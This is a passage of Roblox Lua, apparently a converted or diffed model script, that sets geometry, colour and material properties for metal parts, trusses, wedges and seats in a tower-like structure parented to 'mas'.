- Part375.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part375.Anchored = true
- Part375.BottomSurface = Enum.SurfaceType.Smooth
- Part375.BrickColor = BrickColor.new("Black")
- Part375.Material = Enum.Material.Metal
- Part375.TopSurface = Enum.SurfaceType.Smooth
- Part375.brickColor = BrickColor.new("Black")
- Part376.Parent = mas
- Part376.CFrame = CFrame.new(15.5172644, 83.0445862, 25.0362549, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part376.Orientation = Vector3.new(0, -90, 0)
- Part376.Position = Vector3.new(15.5172644, 83.0445862, 25.0362549)
- Part376.Rotation = Vector3.new(0, -90, 0)
- Part376.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part376.Size = Vector3.new(0.200000003, 0.249999657, 25.4719906)
- Part376.Anchored = true
- Part376.BottomSurface = Enum.SurfaceType.Smooth
- Part376.BrickColor = BrickColor.new("Black")
- Part376.Material = Enum.Material.Metal
- Part376.TopSurface = Enum.SurfaceType.Smooth
- Part376.brickColor = BrickColor.new("Black")
- Part377.Parent = mas
- Part377.CFrame = CFrame.new(10.5923376, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part377.Orientation = Vector3.new(0, -90, 0)
- Part377.Position = Vector3.new(10.5923376, 83.1945953, 25.0361633)
- Part377.Rotation = Vector3.new(0, -90, 0)
- Part377.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part377.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part377.Anchored = true
- Part377.BottomSurface = Enum.SurfaceType.Smooth
- Part377.BrickColor = BrickColor.new("Black")
- Part377.Material = Enum.Material.Metal
- Part377.TopSurface = Enum.SurfaceType.Smooth
- Part377.brickColor = BrickColor.new("Black")
- Part378.Parent = mas
- Part378.CFrame = CFrame.new(18.542366, 83.1945953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part378.Orientation = Vector3.new(0, -90, 0)
- Part378.Position = Vector3.new(18.542366, 83.1945953, 28.8362427)
- Part378.Rotation = Vector3.new(0, -90, 0)
- Part378.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part378.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part378.Anchored = true
- Part378.BottomSurface = Enum.SurfaceType.Smooth
- Part378.BrickColor = BrickColor.new("Black")
- Part378.Material = Enum.Material.Metal
- Part378.TopSurface = Enum.SurfaceType.Smooth
- Part378.brickColor = BrickColor.new("Black")
- Part379.Parent = mas
- Part379.CFrame = CFrame.new(28.3425903, 83.1945953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part379.Orientation = Vector3.new(0, -90, 0)
- Part379.Position = Vector3.new(28.3425903, 83.1945953, 28.8362427)
- Part379.Rotation = Vector3.new(0, -90, 0)
- Part379.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part379.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part379.Anchored = true
- Part379.BottomSurface = Enum.SurfaceType.Smooth
- Part379.BrickColor = BrickColor.new("Black")
- Part379.Material = Enum.Material.Metal
- Part379.TopSurface = Enum.SurfaceType.Smooth
- Part379.brickColor = BrickColor.new("Black")
- Part380.Parent = mas
- Part380.CFrame = CFrame.new(14.4423742, 83.1945953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part380.Orientation = Vector3.new(0, -90, 0)
- Part380.Position = Vector3.new(14.4423742, 83.1945953, 28.8362427)
- Part380.Rotation = Vector3.new(0, -90, 0)
- Part380.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part380.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part380.Anchored = true
- Part380.BottomSurface = Enum.SurfaceType.Smooth
- Part380.BrickColor = BrickColor.new("Black")
- Part380.Material = Enum.Material.Metal
- Part380.TopSurface = Enum.SurfaceType.Smooth
- Part380.brickColor = BrickColor.new("Black")
- Part381.Parent = mas
- Part381.CFrame = CFrame.new(2.74211788, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part381.Orientation = Vector3.new(0, -90, 0)
- Part381.Position = Vector3.new(2.74211788, 83.1945953, 25.0361633)
- Part381.Rotation = Vector3.new(0, -90, 0)
- Part381.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part381.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part381.Anchored = true
- Part381.BottomSurface = Enum.SurfaceType.Smooth
- Part381.BrickColor = BrickColor.new("Black")
- Part381.Material = Enum.Material.Metal
- Part381.TopSurface = Enum.SurfaceType.Smooth
- Part381.brickColor = BrickColor.new("Black")
- Part382.Parent = mas
- Part382.CFrame = CFrame.new(14.617301, 81.0196075, 26.9361877, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part382.Orientation = Vector3.new(0, -90, 0)
- Part382.Position = Vector3.new(14.617301, 81.0196075, 26.9361877)
- Part382.Rotation = Vector3.new(0, -90, 0)
- Part382.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part382.Size = Vector3.new(2.29999995, 1.79999995, 23.6720123)
- Part382.Anchored = true
- Part382.BottomSurface = Enum.SurfaceType.Smooth
- Part382.BrickColor = BrickColor.new("Dark stone grey")
- Part382.Material = Enum.Material.Metal
- Part382.TopSurface = Enum.SurfaceType.Smooth
- Part382.brickColor = BrickColor.new("Dark stone grey")
- Part383.Parent = mas
- Part383.CFrame = CFrame.new(15.5172644, 84.2445755, 28.8362274, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part383.Orientation = Vector3.new(0, -90, 0)
- Part383.Position = Vector3.new(15.5172644, 84.2445755, 28.8362274)
- Part383.Rotation = Vector3.new(0, -90, 0)
- Part383.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part383.Size = Vector3.new(0.200000003, 0.249999657, 25.4719925)
- Part383.Anchored = true
- Part383.BottomSurface = Enum.SurfaceType.Smooth
- Part383.BrickColor = BrickColor.new("Black")
- Part383.Material = Enum.Material.Metal
- Part383.TopSurface = Enum.SurfaceType.Smooth
- Part383.brickColor = BrickColor.new("Black")
- Part384.Parent = mas
- Part384.CFrame = CFrame.new(6.59218502, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part384.Orientation = Vector3.new(0, -90, 0)
- Part384.Position = Vector3.new(6.59218502, 83.1945953, 25.0361633)
- Part384.Rotation = Vector3.new(0, -90, 0)
- Part384.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part384.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part384.Anchored = true
- Part384.BottomSurface = Enum.SurfaceType.Smooth
- Part384.BrickColor = BrickColor.new("Black")
- Part384.Material = Enum.Material.Metal
- Part384.TopSurface = Enum.SurfaceType.Smooth
- Part384.brickColor = BrickColor.new("Black")
- Part385.Parent = mas
- Part385.CFrame = CFrame.new(15.5172033, 82.8945847, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part385.Orientation = Vector3.new(0, -90, 0)
- Part385.Position = Vector3.new(15.5172033, 82.8945847, 28.8362427)
- Part385.Rotation = Vector3.new(0, -90, 0)
- Part385.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part385.Size = Vector3.new(0.200000003, 0.249999657, 25.471983)
- Part385.Anchored = true
- Part385.BottomSurface = Enum.SurfaceType.Smooth
- Part385.BrickColor = BrickColor.new("Black")
- Part385.Material = Enum.Material.Metal
- Part385.TopSurface = Enum.SurfaceType.Smooth
- Part385.brickColor = BrickColor.new("Black")
- Part386.Parent = mas
- Part386.CFrame = CFrame.new(15.5922766, 84.2445755, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part386.Orientation = Vector3.new(0, -90, 0)
- Part386.Position = Vector3.new(15.5922766, 84.2445755, 25.0361633)
- Part386.Rotation = Vector3.new(0, -90, 0)
- Part386.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part386.Size = Vector3.new(0.200000003, 0.249999657, 25.6219902)
- Part386.Anchored = true
- Part386.BottomSurface = Enum.SurfaceType.Smooth
- Part386.BrickColor = BrickColor.new("Black")
- Part386.Material = Enum.Material.Metal
- Part386.TopSurface = Enum.SurfaceType.Smooth
- Part386.brickColor = BrickColor.new("Black")
- Part387.Parent = mas
- Part387.CFrame = CFrame.new(6.59218502, 83.1945953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part387.Orientation = Vector3.new(0, -90, 0)
- Part387.Position = Vector3.new(6.59218502, 83.1945953, 28.8362427)
- Part387.Rotation = Vector3.new(0, -90, 0)
- Part387.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part387.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part387.Anchored = true
- Part387.BottomSurface = Enum.SurfaceType.Smooth
- Part387.BrickColor = BrickColor.new("Black")
- Part387.Material = Enum.Material.Metal
- Part387.TopSurface = Enum.SurfaceType.Smooth
- Part387.brickColor = BrickColor.new("Black")
- Part388.Parent = mas
- Part388.CFrame = CFrame.new(10.5923376, 83.1945953, 28.8362732, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part388.Orientation = Vector3.new(0, -90, 0)
- Part388.Position = Vector3.new(10.5923376, 83.1945953, 28.8362732)
- Part388.Rotation = Vector3.new(0, -90, 0)
- Part388.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part388.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part388.Anchored = true
- Part388.BottomSurface = Enum.SurfaceType.Smooth
- Part388.BrickColor = BrickColor.new("Black")
- Part388.Material = Enum.Material.Metal
- Part388.TopSurface = Enum.SurfaceType.Smooth
- Part388.brickColor = BrickColor.new("Black")
- Part389.Parent = mas
- Part389.CFrame = CFrame.new(28.2925949, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part389.Orientation = Vector3.new(0, -90, 0)
- Part389.Position = Vector3.new(28.2925949, 83.1945953, 25.0361633)
- Part389.Rotation = Vector3.new(0, -90, 0)
- Part389.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part389.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part389.Anchored = true
- Part389.BottomSurface = Enum.SurfaceType.Smooth
- Part389.BrickColor = BrickColor.new("Black")
- Part389.Material = Enum.Material.Metal
- Part389.TopSurface = Enum.SurfaceType.Smooth
- Part389.brickColor = BrickColor.new("Black")
- Part390.Parent = mas
- Part390.CFrame = CFrame.new(22.3923874, 83.1945953, 28.8362274, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part390.Orientation = Vector3.new(0, -90, 0)
- Part390.Position = Vector3.new(22.3923874, 83.1945953, 28.8362274)
- Part390.Rotation = Vector3.new(0, -90, 0)
- Part390.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part390.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part390.Anchored = true
- Part390.BottomSurface = Enum.SurfaceType.Smooth
- Part390.BrickColor = BrickColor.new("Black")
- Part390.Material = Enum.Material.Metal
- Part390.TopSurface = Enum.SurfaceType.Smooth
- Part390.brickColor = BrickColor.new("Black")
- Part391.Parent = mas
- Part391.CFrame = CFrame.new(26.5925217, 83.1945953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part391.Orientation = Vector3.new(0, -90, 0)
- Part391.Position = Vector3.new(26.5925217, 83.1945953, 28.8362427)
- Part391.Rotation = Vector3.new(0, -90, 0)
- Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part391.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part391.Anchored = true
- Part391.BottomSurface = Enum.SurfaceType.Smooth
- Part391.BrickColor = BrickColor.new("Black")
- Part391.Material = Enum.Material.Metal
- Part391.TopSurface = Enum.SurfaceType.Smooth
- Part391.brickColor = BrickColor.new("Black")
- Part392.Name = "PrimPart"
- Part392.Parent = mas
- Part392.CFrame = CFrame.new(26.3174973, 81.0196075, 26.9361801, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part392.Orientation = Vector3.new(0, -90, 0)
- Part392.Position = Vector3.new(26.3174973, 81.0196075, 26.9361801)
- Part392.Rotation = Vector3.new(0, -90, 0)
- Part392.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part392.Transparency = 1
- Part392.Size = Vector3.new(2.29999995, 1.79999995, 0.27200976)
- Part392.Anchored = true
- Part392.BottomSurface = Enum.SurfaceType.Smooth
- Part392.BrickColor = BrickColor.new("Dark stone grey")
- Part392.Material = Enum.Material.Metal
- Part392.TopSurface = Enum.SurfaceType.Smooth
- Part392.brickColor = BrickColor.new("Dark stone grey")
- TrussPart393.Parent = mas
- TrussPart393.CFrame = CFrame.new(27.7207565, 29.0450459, 26.9299316, 0, 0, 1, 0, -1, 0, 1, 0, 0)
- TrussPart393.Orientation = Vector3.new(0, 90, 180)
- TrussPart393.Position = Vector3.new(27.7207565, 29.0450459, 26.9299316)
- TrussPart393.Rotation = Vector3.new(180, 90, 0)
- TrussPart393.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- TrussPart393.Size = Vector3.new(2, 58.0500069, 2)
- TrussPart393.Style = Enum.Style.NoSupports
- TrussPart393.Anchored = true
- TrussPart393.BackSurface = Enum.SurfaceType.Smooth
- TrussPart393.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart393.BrickColor = BrickColor.new("Really black")
- TrussPart393.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart393.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart393.Material = Enum.Material.DiamondPlate
- TrussPart393.RightSurface = Enum.SurfaceType.Smooth
- TrussPart393.TopSurface = Enum.SurfaceType.Smooth
- TrussPart393.brickColor = BrickColor.new("Really black")
- TrussPart394.Name = "Truss2"
- TrussPart394.Parent = mas
- TrussPart394.CFrame = CFrame.new(-4.7677393, 20.0451317, 4.66769409, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- TrussPart394.Position = Vector3.new(-4.7677393, 20.0451317, 4.66769409)
- TrussPart394.Color = Color3.new(1, 0, 0)
- TrussPart394.Size = Vector3.new(2, 38.0499687, 2)
- TrussPart394.Anchored = true
- TrussPart394.BackSurface = Enum.SurfaceType.Smooth
- TrussPart394.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart394.BrickColor = BrickColor.new("Really red")
- TrussPart394.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart394.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart394.Material = Enum.Material.DiamondPlate
- TrussPart394.RightSurface = Enum.SurfaceType.Smooth
- TrussPart394.TopSurface = Enum.SurfaceType.Smooth
- TrussPart394.brickColor = BrickColor.new("Really red")
- TrussPart395.Name = "Truss3"
- TrussPart395.Parent = mas
- TrussPart395.CFrame = CFrame.new(-26.9302139, 20.0451317, 26.8301239, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- TrussPart395.Orientation = Vector3.new(0, 90, 0)
- TrussPart395.Position = Vector3.new(-26.9302139, 20.0451317, 26.8301239)
- TrussPart395.Rotation = Vector3.new(0, 90, 0)
- TrussPart395.Color = Color3.new(1, 0, 0)
- TrussPart395.Size = Vector3.new(2, 38.0499687, 2)
- TrussPart395.Anchored = true
- TrussPart395.BackSurface = Enum.SurfaceType.Smooth
- TrussPart395.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart395.BrickColor = BrickColor.new("Really red")
- TrussPart395.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart395.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart395.Material = Enum.Material.DiamondPlate
- TrussPart395.RightSurface = Enum.SurfaceType.Smooth
- TrussPart395.TopSurface = Enum.SurfaceType.Smooth
- TrussPart395.brickColor = BrickColor.new("Really red")
- TrussPart396.Name = "Truss6"
- TrussPart396.Parent = mas
- TrussPart396.CFrame = CFrame.new(-4.76776981, 38.0200691, 7.64221191, 1, 0, 0, 0, 0, 1, 0, -1, 0)
- TrussPart396.Orientation = Vector3.new(-90, 0, 0)
- TrussPart396.Position = Vector3.new(-4.76776981, 38.0200691, 7.64221191)
- TrussPart396.Rotation = Vector3.new(-90, 0, 0)
- TrussPart396.Color = Color3.new(1, 0, 0)
- TrussPart396.Size = Vector3.new(2, 3.99995732, 2)
- TrussPart396.Anchored = true
- TrussPart396.BackSurface = Enum.SurfaceType.Smooth
- TrussPart396.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart396.BrickColor = BrickColor.new("Really red")
- TrussPart396.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart396.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart396.Material = Enum.Material.DiamondPlate
- TrussPart396.RightSurface = Enum.SurfaceType.Smooth
- TrussPart396.TopSurface = Enum.SurfaceType.Smooth
- TrussPart396.brickColor = BrickColor.new("Really red")
- TrussPart397.Parent = mas
- TrussPart397.CFrame = CFrame.new(14.5705786, 81.0196304, 25.9301453, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- TrussPart397.Orientation = Vector3.new(-90, -90, 0)
- TrussPart397.Position = Vector3.new(14.5705786, 81.0196304, 25.9301453)
- TrussPart397.Rotation = Vector3.new(-90, 0, -90)
- TrussPart397.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- TrussPart397.Size = Vector3.new(2, 23.9999905, 2)
- TrussPart397.Style = Enum.Style.NoSupports
- TrussPart397.Anchored = true
- TrussPart397.BackSurface = Enum.SurfaceType.Smooth
- TrussPart397.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart397.BrickColor = BrickColor.new("Really black")
- TrussPart397.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart397.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart397.Material = Enum.Material.DiamondPlate
- TrussPart397.RightSurface = Enum.SurfaceType.Smooth
- TrussPart397.TopSurface = Enum.SurfaceType.Smooth
- TrussPart397.brickColor = BrickColor.new("Really black")
- TrussPart398.Name = "Truss7"
- TrussPart398.Parent = mas
- TrussPart398.CFrame = CFrame.new(17.3947983, 20.0451317, 26.8302002, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- TrussPart398.Orientation = Vector3.new(0, -90, 0)
- TrussPart398.Position = Vector3.new(17.3947983, 20.0451317, 26.8302002)
- TrussPart398.Rotation = Vector3.new(0, -90, 0)
- TrussPart398.Color = Color3.new(1, 0, 0)
- TrussPart398.Size = Vector3.new(2, 38.0499687, 2)
- TrussPart398.Anchored = true
- TrussPart398.BackSurface = Enum.SurfaceType.Smooth
- TrussPart398.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart398.BrickColor = BrickColor.new("Really red")
- TrussPart398.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart398.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart398.Material = Enum.Material.DiamondPlate
- TrussPart398.RightSurface = Enum.SurfaceType.Smooth
- TrussPart398.TopSurface = Enum.SurfaceType.Smooth
- TrussPart398.brickColor = BrickColor.new("Really red")
- TrussPart399.Name = "Truss8"
- TrussPart399.Parent = mas
- TrussPart399.CFrame = CFrame.new(14.4202795, 38.0200691, 26.8301239, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- TrussPart399.Orientation = Vector3.new(-90, -90, 0)
- TrussPart399.Position = Vector3.new(14.4202795, 38.0200691, 26.8301239)
- TrussPart399.Rotation = Vector3.new(-90, 0, -90)
- TrussPart399.Color = Color3.new(1, 0, 0)
- TrussPart399.Size = Vector3.new(2, 3.99995732, 2)
- TrussPart399.Anchored = true
- TrussPart399.BackSurface = Enum.SurfaceType.Smooth
- TrussPart399.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart399.BrickColor = BrickColor.new("Really red")
- TrussPart399.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart399.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart399.Material = Enum.Material.DiamondPlate
- TrussPart399.RightSurface = Enum.SurfaceType.Smooth
- TrussPart399.TopSurface = Enum.SurfaceType.Smooth
- TrussPart399.brickColor = BrickColor.new("Really red")
- Seat400.Parent = mas
- Seat400.CFrame = CFrame.new(-4.68207645, 83.0115356, 32.2505188, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Seat400.Position = Vector3.new(-4.68207645, 83.0115356, 32.2505188)
- Seat400.Color = Color3.new(0.0156863, 0.686275, 0.92549)
- Seat400.Size = Vector3.new(2.34999895, 0.0500000007, 2.14999986)
- Seat400.Anchored = true
- Seat400.BottomSurface = Enum.SurfaceType.Weld
- Seat400.BrickColor = BrickColor.new("Cyan")
- Seat400.Material = Enum.Material.Metal
- Seat400.TopSurface = Enum.SurfaceType.Smooth
- Seat400.brickColor = BrickColor.new("Cyan")
- Decal401.Parent = Seat400
- Decal401.Texture = "http://www.roblox.com/asset/?id=6544977"
- Decal401.Face = Enum.NormalId.Top
- TrussPart402.Parent = mas
- TrussPart402.CFrame = CFrame.new(27.5207443, 70.0698395, 26.9299774, 0, 0, 1, 0, -1, 0, 1, 0, 0)
- TrussPart402.Orientation = Vector3.new(0, 90, 180)
- TrussPart402.Position = Vector3.new(27.5207443, 70.0698395, 26.9299774)
- TrussPart402.Rotation = Vector3.new(180, 90, 0)
- TrussPart402.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- TrussPart402.Size = Vector3.new(2, 23.9999905, 2)
- TrussPart402.Style = Enum.Style.NoSupports
- TrussPart402.Anchored = true
- TrussPart402.BackSurface = Enum.SurfaceType.Smooth
- TrussPart402.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart402.BrickColor = BrickColor.new("Really black")
- TrussPart402.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart402.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart402.Material = Enum.Material.DiamondPlate
- TrussPart402.RightSurface = Enum.SurfaceType.Smooth
- TrussPart402.TopSurface = Enum.SurfaceType.Smooth
- TrussPart402.brickColor = BrickColor.new("Really black")
- WedgePart403.Parent = mas
- WedgePart403.CFrame = CFrame.new(-13.5897913, 23.1370411, 18.1593628, 0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, 0.707106829)
- WedgePart403.Orientation = Vector3.new(0, 45, 0)
- WedgePart403.Position = Vector3.new(-13.5897913, 23.1370411, 18.1593628)
- WedgePart403.Rotation = Vector3.new(0, 45, 0)
- WedgePart403.Size = Vector3.new(0.5, 25, 10)
- WedgePart403.Anchored = true
- WedgePart403.BottomSurface = Enum.SurfaceType.Smooth
- WedgePart403.Material = Enum.Material.Metal
- Seat404.Parent = mas
- Seat404.CFrame = CFrame.new(-4.68222904, 83.0115356, 21.3064575, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- Seat404.Orientation = Vector3.new(0, 180, 0)
- Seat404.Position = Vector3.new(-4.68222904, 83.0115356, 21.3064575)
- Seat404.Rotation = Vector3.new(-180, 0, -180)
- Seat404.Color = Color3.new(0.0156863, 0.686275, 0.92549)
- Seat404.Size = Vector3.new(2.34999895, 0.0500000007, 2.14999986)
- Seat404.Anchored = true
- Seat404.BottomSurface = Enum.SurfaceType.Weld
- Seat404.BrickColor = BrickColor.new("Cyan")
- Seat404.Material = Enum.Material.Metal
- Seat404.TopSurface = Enum.SurfaceType.Smooth
- Seat404.brickColor = BrickColor.new("Cyan")
- Decal405.Parent = Seat404
- Decal405.Texture = "http://www.roblox.com/asset/?id=6544977"
- Decal405.Face = Enum.NormalId.Top
- Seat406.Parent = mas
- Seat406.CFrame = CFrame.new(-10.2806482, 83.0115356, 26.905014, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Seat406.Orientation = Vector3.new(0, -90, 0)
- Seat406.Position = Vector3.new(-10.2806482, 83.0115356, 26.905014)
- Seat406.Rotation = Vector3.new(0, -90, 0)
- Seat406.Color = Color3.new(0.0156863, 0.686275, 0.92549)
- Seat406.Size = Vector3.new(2.34999895, 0.0500000007, 2.14999986)
- Seat406.Anchored = true
- Seat406.BottomSurface = Enum.SurfaceType.Weld
- Seat406.BrickColor = BrickColor.new("Cyan")
- Seat406.Material = Enum.Material.Metal
- Seat406.TopSurface = Enum.SurfaceType.Smooth
- Seat406.brickColor = BrickColor.new("Cyan")
- Decal407.Parent = Seat406
- Decal407.Texture = "http://www.roblox.com/asset/?id=6544977"
- Decal407.Face = Enum.NormalId.Top
- TrussPart408.Name = "Truss1"
- TrussPart408.Parent = mas
- TrussPart408.CFrame = CFrame.new(-23.9556808, 38.0200691, 26.8301697, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- TrussPart408.Orientation = Vector3.new(-90, 90, 0)
- TrussPart408.Position = Vector3.new(-23.9556808, 38.0200691, 26.8301697)
- TrussPart408.Rotation = Vector3.new(-90, 0, 90)
- TrussPart408.Color = Color3.new(1, 0, 0)
- TrussPart408.Size = Vector3.new(2, 3.99995732, 2)
- TrussPart408.Anchored = true
- TrussPart408.BackSurface = Enum.SurfaceType.Smooth
- TrussPart408.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart408.BrickColor = BrickColor.new("Really red")
- TrussPart408.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart408.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart408.Material = Enum.Material.DiamondPlate
- TrussPart408.RightSurface = Enum.SurfaceType.Smooth
- TrussPart408.TopSurface = Enum.SurfaceType.Smooth
- TrussPart408.brickColor = BrickColor.new("Really red")
- TrussPart409.Parent = mas
- TrussPart409.CFrame = CFrame.new(14.570426, 81.0196304, 27.930069, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- TrussPart409.Orientation = Vector3.new(-90, -90, 0)
- TrussPart409.Position = Vector3.new(14.570426, 81.0196304, 27.930069)
- TrussPart409.Rotation = Vector3.new(-90, 0, -90)
- TrussPart409.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- TrussPart409.Size = Vector3.new(2, 23.9999733, 2)
- TrussPart409.Style = Enum.Style.NoSupports
- TrussPart409.Anchored = true
- TrussPart409.BackSurface = Enum.SurfaceType.Smooth
- TrussPart409.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart409.BrickColor = BrickColor.new("Really black")
- TrussPart409.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart409.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart409.Material = Enum.Material.DiamondPlate
- TrussPart409.RightSurface = Enum.SurfaceType.Smooth
- TrussPart409.TopSurface = Enum.SurfaceType.Smooth
- TrussPart409.brickColor = BrickColor.new("Really black")
- WedgePart410.Parent = mas
- WedgePart410.CFrame = CFrame.new(-13.5897913, 23.1370411, 35.7312317, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- WedgePart410.Orientation = Vector3.new(0, 135, 0)
- WedgePart410.Position = Vector3.new(-13.5897913, 23.1370411, 35.7312317)
- WedgePart410.Rotation = Vector3.new(-180, 45, -180)
- WedgePart410.Size = Vector3.new(0.5, 25, 10)
- WedgePart410.Anchored = true
- WedgePart410.BottomSurface = Enum.SurfaceType.Smooth
- WedgePart410.Material = Enum.Material.Metal
- WedgePart411.Parent = mas
- WedgePart411.CFrame = CFrame.new(3.98204708, 23.1370411, 18.1594696, 0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, 0.707106829)
- WedgePart411.Orientation = Vector3.new(0, -45, 0)
- WedgePart411.Position = Vector3.new(3.98204708, 23.1370411, 18.1594696)
- WedgePart411.Rotation = Vector3.new(0, -45, 0)
- WedgePart411.Size = Vector3.new(0.5, 25, 10)
- WedgePart411.Anchored = true
- WedgePart411.BottomSurface = Enum.SurfaceType.Smooth
- WedgePart411.Material = Enum.Material.Metal
- TrussPart412.Name = "Truss4"
- TrussPart412.Parent = mas
- TrussPart412.CFrame = CFrame.new(-4.76767826, 38.0200691, 46.0180435, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- TrussPart412.Orientation = Vector3.new(-90, -180, 0)
- TrussPart412.Position = Vector3.new(-4.76767826, 38.0200691, 46.0180435)
- TrussPart412.Rotation = Vector3.new(-90, 0, -180)
- TrussPart412.Color = Color3.new(1, 0, 0)
- TrussPart412.Size = Vector3.new(2, 3.99995732, 2)
- TrussPart412.Anchored = true
- TrussPart412.BackSurface = Enum.SurfaceType.Smooth
- TrussPart412.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart412.BrickColor = BrickColor.new("Really red")
- TrussPart412.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart412.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart412.Material = Enum.Material.DiamondPlate
- TrussPart412.RightSurface = Enum.SurfaceType.Smooth
- TrussPart412.TopSurface = Enum.SurfaceType.Smooth
- TrussPart412.brickColor = BrickColor.new("Really red")
- WedgePart413.Parent = mas
- WedgePart413.CFrame = CFrame.new(3.98201656, 23.1370411, 35.7311096, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- WedgePart413.Orientation = Vector3.new(0, -135, 0)
- WedgePart413.Position = Vector3.new(3.98201656, 23.1370411, 35.7311096)
- WedgePart413.Rotation = Vector3.new(-180, -45, -180)
- WedgePart413.Size = Vector3.new(0.5, 25, 10)
- WedgePart413.Anchored = true
- WedgePart413.BottomSurface = Enum.SurfaceType.Smooth
- WedgePart413.Material = Enum.Material.Metal
- TrussPart414.Name = "Truss5"
- TrussPart414.Parent = mas
- TrussPart414.CFrame = CFrame.new(-4.76776981, 20.0451317, 48.9925308, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- TrussPart414.Orientation = Vector3.new(0, 180, 0)
- TrussPart414.Position = Vector3.new(-4.76776981, 20.0451317, 48.9925308)
- TrussPart414.Rotation = Vector3.new(-180, 0, -180)
- TrussPart414.Color = Color3.new(1, 0, 0)
